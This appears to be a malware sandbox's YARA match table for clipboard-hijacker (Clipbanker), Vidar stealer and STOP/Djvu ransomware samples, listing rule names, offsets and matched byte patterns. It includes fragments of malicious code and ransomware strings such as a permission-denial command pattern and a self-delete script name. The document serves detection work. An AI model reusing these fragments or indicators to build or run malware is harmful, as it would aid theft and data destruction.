9.2.build3.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
25.2.mstsca.exe.9315a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
25.2.mstsca.exe.9315a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.mstsca.exe.9315a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
31.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
25.2.mstsca.exe.9315a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.mstsca.exe.9315a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
7.2.build2.exe.1a915a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
31.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
26.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
8.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
7.2.build2.exe.1a915a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
29.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
17.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
17.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
9.2.build3.exe.8915a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
9.2.build3.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
9.2.build3.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
14.2.build3.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
14.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
14.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.8915a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.mstsca.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
29.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
17.2.mstsca.exe.9715a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
17.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
17.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
8.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.AaIo4VGgvO.exe.5e615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.AaIo4VGgvO.exe.5e615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.AaIo4VGgvO.exe.5e615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.AaIo4VGgvO.exe.5db15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.AaIo4VGgvO.exe.5db15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.AaIo4VGgvO.exe.5db15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.AaIo4VGgvO.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.AaIo4VGgvO.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.AaIo4VGgvO.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
